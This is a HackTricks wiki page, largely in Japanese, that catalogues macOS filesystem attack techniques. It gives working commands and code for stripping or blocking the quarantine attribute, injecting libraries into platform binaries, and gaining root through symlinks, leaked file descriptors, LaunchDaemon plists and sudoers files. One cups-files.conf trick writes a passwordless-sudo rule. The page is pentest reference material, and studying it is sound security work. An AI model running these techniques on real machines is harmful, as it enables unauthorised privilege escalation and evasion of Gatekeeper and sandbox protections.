macOS FS Tricks
Reading time: 20 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
POSIX permissions combinations
ディレクトリの権限:
- read - ディレクトリエントリを列挙できます
- write - ディレクトリ内のファイルを削除/作成でき、空のフォルダを削除できます。
- ただし、書き込み権限がない限り、非空のフォルダを削除/変更することはできません。
- フォルダの名前を変更することは、そのフォルダを所有していない限りできません。
- execute - ディレクトリを横断することが許可されています。この権利がないと、その中のファイルやサブディレクトリにアクセスできません。
Dangerous Combinations
rootが所有するファイル/フォルダを上書きする方法ですが:
- パス内の親ディレクトリの所有者がユーザーである
- パス内の親ディレクトリの所有者が書き込みアクセスを持つユーザーグループである
- ユーザーのグループがファイルに書き込みアクセスを持つ
これらの組み合わせのいずれかを使用すると、攻撃者は特権のある任意の書き込みを取得するために、期待されるパスにシンボリック/ハードリンクを注入することができます。
Folder root R+X Special case
rootのみがR+Xアクセスを持つディレクトリ内にファイルがある場合、それらは他の誰にもアクセスできません。したがって、制限のためにユーザーが読み取れないファイルをこのフォルダから別のフォルダに移動できる脆弱性は、これらのファイルを読むために悪用される可能性があります。
Symbolic Link / Hard Link
Permissive file/folder
特権プロセスが低特権ユーザーによって制御される可能性のあるファイルにデータを書き込んでいる場合、または低特権ユーザーによって以前に作成された可能性がある場合、そのユーザーはシンボリックまたはハードリンクを介して別のファイルを指すことができ、特権プロセスはそのファイルに書き込みます。
攻撃者が特権を昇格させるために任意の書き込みを悪用できる他のセクションを確認してください。
Open O_NOFOLLOW
関数open
で使用されるフラグO_NOFOLLOW
は、最後のパスコンポーネントでシンボリックリンクを追跡しませんが、パスの残りの部分は追跡します。パス内のシンボリックリンクを追跡しない正しい方法は、フラグO_NOFOLLOW_ANY
を使用することです。
.fileloc
**.fileloc
**拡張子のファイルは、他のアプリケーションやバイナリを指すことができるため、開くとアプリケーション/バイナリが実行されます。
例:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>URL</key>
<string>file:///System/Applications/Calculator.app</string>
<key>URLPrefix</key>
<integer>0</integer>
</dict>
</plist>
ファイルディスクリプタ
FDの漏洩(O_CLOEXEC
なし)
open
への呼び出しにO_CLOEXEC
フラグがない場合、ファイルディスクリプタは子プロセスによって継承されます。したがって、特権プロセスが特権ファイルを開き、攻撃者が制御するプロセスを実行すると、攻撃者は特権ファイルに対するFDを継承します。
高い特権でファイルまたはフォルダを開くプロセスを作成できる場合、**crontab
を悪用して、EDITOR=exploit.py
**で/etc/sudoers.d
内のファイルを開くことができます。これにより、exploit.py
は/etc/sudoers
内のファイルへのFDを取得し、それを悪用します。
例えば: https://youtu.be/f1HA5QhLQ7Y?t=21098、コード: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging
検疫xattrsトリックを避ける
それを削除する
xattr -d com.apple.quarantine /path/to/file_or_app
uchg / uchange / uimmutable フラグ
ファイル/フォルダにこの不変属性がある場合、xattrを設定することはできません。
echo asd > /tmp/asd
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
xattr -w com.apple.quarantine "" /tmp/asd
xattr: [Errno 1] Operation not permitted: '/tmp/asd'
ls -lO /tmp/asd
# check the "uchg" in the output
defvfs マウント
devfs マウントは xattr をサポートしていません。詳細は CVE-2023-32364 を参照してください。
mkdir /tmp/mnt
mount_devfs -o noowners none "/tmp/mnt"
chmod 777 /tmp/mnt
mkdir /tmp/mnt/lol
xattr -w com.apple.quarantine "" /tmp/mnt/lol
xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'
writeextattr ACL
このACLは、ファイルにxattrs
を追加することを防ぎます。
rm -rf /tmp/test*
echo test >/tmp/test
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
ls -le /tmp/test
ditto -c -k test test.zip
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr
cd /tmp
echo y | rm test
# Decompress it with ditto
ditto -x -k --rsrc test.zip .
ls -le /tmp/test
# Decompress it with open (if sandboxed decompressed files go to the Downloads folder)
open test.zip
sleep 1
ls -le /tmp/test
com.apple.acl.text xattr + AppleDouble
AppleDoubleファイル形式は、ファイルとそのACEを含むコピーを作成します。
ソースコードを見ると、xattrの中に保存されているACLのテキスト表現である**com.apple.acl.text
が、解凍されたファイルのACLとして設定されることがわかります。したがって、ACLが他のxattrsの書き込みを防ぐように設定されたアプリケーションをAppleDouble**ファイル形式のzipファイルに圧縮した場合... クアランティンxattrはアプリケーションに設定されませんでした:
詳細については元の報告を確認してください。
これを再現するには、まず正しいacl文字列を取得する必要があります:
# Everything will be happening here
mkdir /tmp/temp_xattrs
cd /tmp/temp_xattrs
# Create a folder and a file with the acls and xattr
mkdir del
mkdir del/test_fold
echo test > del/test_fold/test_file
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold/test_file
ditto -c -k del test.zip
# uncomporess to get it back
ditto -x -k --rsrc test.zip .
ls -le test
(Note that even if this works the sandbox write the quarantine xattr before)
本当に必要ではありませんが、念のためここに残しておきます:
署名チェックのバイパス
プラットフォームバイナリチェックのバイパス
一部のセキュリティチェックは、バイナリがプラットフォームバイナリであるかどうかを確認します。たとえば、XPCサービスに接続を許可するためです。しかし、https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/で示されているように、プラットフォームバイナリ(例:/bin/ls)を取得し、環境変数DYLD_INSERT_LIBRARIES
を使用してdyld経由でエクスプロイトを注入することで、このチェックをバイパスすることが可能です。
フラグCS_REQUIRE_LV
とCS_FORCED_LV
のバイパス
実行中のバイナリが自分自身のフラグを変更してチェックをバイパスすることが可能です。コードは次のようになります:
// Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/
int pid = getpid();
NSString *exePath = NSProcessInfo.processInfo.arguments[0];
uint32_t status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
status |= 0x2000; // CS_REQUIRE_LV
csops(pid, 9, &status, 4); // CS_OPS_SET_STATUS
status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, status);
バイパスコード署名
バンドルには、_CodeSignature/CodeResources
というファイルが含まれており、これは バンドル 内のすべての ファイル の ハッシュ を含んでいます。CodeResources のハッシュは 実行可能ファイル にも 埋め込まれている ため、それをいじることはできません。
しかし、署名がチェックされないファイルもいくつかあり、これらは plist に omit キーを持っています。
<dict>
...
<key>rules</key>
<dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>
<key>rules2</key>
...
<key>^(.*/index.html)?\.DS_Store$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>2000</real>
</dict>
...
<key>^PkgInfo$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>20</real>
</dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>
リソースの署名をCLIから計算することが可能です:
openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64
Mount dmgs
ユーザーは、既存のフォルダーの上に作成されたカスタムdmgをマウントできます。これが、カスタムコンテンツを含むカスタムdmgパッケージを作成する方法です:
# Create the volume
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
mkdir /private/tmp/mnt
# Mount it
hdiutil attach -mountpoint /private/tmp/mnt /private/tmp/tmp.dmg 1>/dev/null
# Add custom content to the volume
mkdir /private/tmp/mnt/custom_folder
echo "hello" > /private/tmp/mnt/custom_folder/custom_file
# Detach it
hdiutil detach /private/tmp/mnt 1>/dev/null
# Next time you mount it, it will have the custom content you wrote
# You can also create a dmg from an app using:
hdiutil create -srcfolder justsome.app justsome.dmg
通常、macOSはcom.apple.DiskArbitrarion.diskarbitrariond
Machサービス(/usr/libexec/diskarbitrationd
によって提供される)と通信してディスクをマウントします。LaunchDaemons plistファイルに-d
パラメータを追加して再起動すると、/var/log/diskarbitrationd.log
にログを保存します。
ただし、hdik
やhdiutil
のようなツールを使用して、com.apple.driver.DiskImages
kextと直接通信することも可能です。
任意の書き込み
定期的なシェルスクリプト
あなたのスクリプトがシェルスクリプトとして解釈される場合、毎日トリガーされる**/etc/periodic/daily/999.local
**シェルスクリプトを上書きすることができます。
このスクリプトの実行を偽装するには、**sudo periodic daily
**を使用できます。
デーモン
任意のLaunchDaemonを作成します。例えば、**/Library/LaunchDaemons/xyz.hacktricks.privesc.plist
**のように、任意のスクリプトを実行するplistを作成します。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.sample.Load</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Scripts/privesc.sh</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
Just generate the script /Applications/Scripts/privesc.sh
with the commands you would like to run as root.
Sudoers File
If you have arbitrary write, you could create a file inside the folder /etc/sudoers.d/
granting yourself sudo privileges.
PATH files
The file /etc/paths
is one of the main places that populates the PATH env variable. You must be root to overwrite it, but if a script from privileged process is executing some command without the full path, you might be able to hijack it modifying this file.
You can also write files in /etc/paths.d
to load new folders into the PATH
env variable.
cups-files.conf
この技術はこの書き込みで使用されました。
Create the file /etc/cups/cups-files.conf
with the following content:
ErrorLog /etc/sudoers.d/lpe
LogFilePerm 777
<some junk>
この操作により、パーミッションが777のファイル/etc/sudoers.d/lpe
が作成されます。最後の余分なゴミはエラーログの作成をトリガーするためのものです。
次に、/etc/sudoers.d/lpe
に特権を昇格させるために必要な設定を記述します。例えば、%staff ALL=(ALL) NOPASSWD:ALL
のようにします。
その後、再度/etc/cups/cups-files.conf
ファイルを修正し、LogFilePerm 700
を指定して、新しいsudoersファイルがcupsctl
を呼び出すことで有効になるようにします。
サンドボックスエスケープ
FSの任意の書き込みを使用してmacOSサンドボックスをエスケープすることが可能です。いくつかの例については、ページmacOS Auto Startを確認してください。ただし、一般的な方法は、~/Library/Preferences/com.apple.Terminal.plist
にターミナルの設定ファイルを書き込み、起動時にコマンドを実行するようにしてopen
を使用して呼び出すことです。
他のユーザーとして書き込み可能なファイルを生成する
これは、私が書き込み可能なrootに属するファイルを生成します(ここからのコード)。これは特権昇格としても機能する可能性があります。
DIRNAME=/usr/local/etc/periodic/daily
mkdir -p "$DIRNAME"
chmod +a "$(whoami) allow read,write,append,execute,readattr,writeattr,readextattr,writeextattr,chown,delete,writesecurity,readsecurity,list,search,add_file,add_subdirectory,delete_child,file_inherit,directory_inherit," "$DIRNAME"
MallocStackLogging=1 MallocStackLoggingDirectory=$DIRNAME MallocStackLoggingDontDeleteStackLogFile=1 top invalidparametername
FILENAME=$(ls "$DIRNAME")
echo $FILENAME
POSIX共有メモリ
POSIX共有メモリは、POSIX準拠のオペレーティングシステムにおいてプロセスが共通のメモリ領域にアクセスできるようにし、他のプロセス間通信方法と比較してより迅速な通信を促進します。これは、shm_open()
を使用して共有メモリオブジェクトを作成または開き、ftruncate()
でそのサイズを設定し、mmap()
を使用してプロセスのアドレス空間にマッピングすることを含みます。プロセスはこのメモリ領域から直接読み書きできます。並行アクセスを管理し、データの破損を防ぐために、ミューテックスやセマフォなどの同期メカニズムがよく使用されます。最後に、プロセスはmunmap()
とclose()
で共有メモリをアンマップおよび閉じ、オプションでshm_unlink()
でメモリオブジェクトを削除します。このシステムは、複数のプロセスが迅速に共有データにアクセスする必要がある環境で、効率的で迅速なIPCに特に効果的です。
プロデューサーコード例
// gcc producer.c -o producer -lrt
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
const char *name = "/my_shared_memory";
const int SIZE = 4096; // Size of the shared memory object
// Create the shared memory object
int shm_fd = shm_open(name, O_CREAT | O_RDWR, 0666);
if (shm_fd == -1) {
perror("shm_open");
return EXIT_FAILURE;
}
// Configure the size of the shared memory object
if (ftruncate(shm_fd, SIZE) == -1) {
perror("ftruncate");
return EXIT_FAILURE;
}
// Memory map the shared memory
void *ptr = mmap(0, SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, shm_fd, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
return EXIT_FAILURE;
}
// Write to the shared memory
sprintf(ptr, "Hello from Producer!");
// Unmap and close, but do not unlink
munmap(ptr, SIZE);
close(shm_fd);
return 0;
}
消費者コードの例
// gcc consumer.c -o consumer -lrt
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
const char *name = "/my_shared_memory";
const int SIZE = 4096; // Size of the shared memory object
// Open the shared memory object
int shm_fd = shm_open(name, O_RDONLY, 0666);
if (shm_fd == -1) {
perror("shm_open");
return EXIT_FAILURE;
}
// Memory map the shared memory
void *ptr = mmap(0, SIZE, PROT_READ, MAP_SHARED, shm_fd, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
return EXIT_FAILURE;
}
// Read from the shared memory
printf("Consumer received: %s\n", (char *)ptr);
// Cleanup
munmap(ptr, SIZE);
close(shm_fd);
shm_unlink(name); // Optionally unlink
return 0;
}
macOS ガード付きディスクリプタ
macOS ガード付きディスクリプタは、ユーザーアプリケーションにおけるファイルディスクリプタ操作の安全性と信頼性を向上させるためにmacOSに導入されたセキュリティ機能です。これらのガード付きディスクリプタは、ファイルディスクリプタに特定の制限や「ガード」を関連付ける方法を提供し、カーネルによって強制されます。
この機能は、不正なファイルアクセスやレースコンディションなどの特定のクラスのセキュリティ脆弱性を防ぐのに特に役立ちます。これらの脆弱性は、例えばスレッドがファイルディスクリプタにアクセスしているときに別の脆弱なスレッドがそれにアクセスできる場合や、ファイルディスクリプタが脆弱な子プロセスに継承される場合に発生します。この機能に関連するいくつかの関数は次のとおりです:
guarded_open_np
: ガード付きでFDをオープンguarded_close_np
: 閉じるchange_fdguard_np
: ディスクリプタのガードフラグを変更(ガード保護を削除することも可能)
参考文献
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。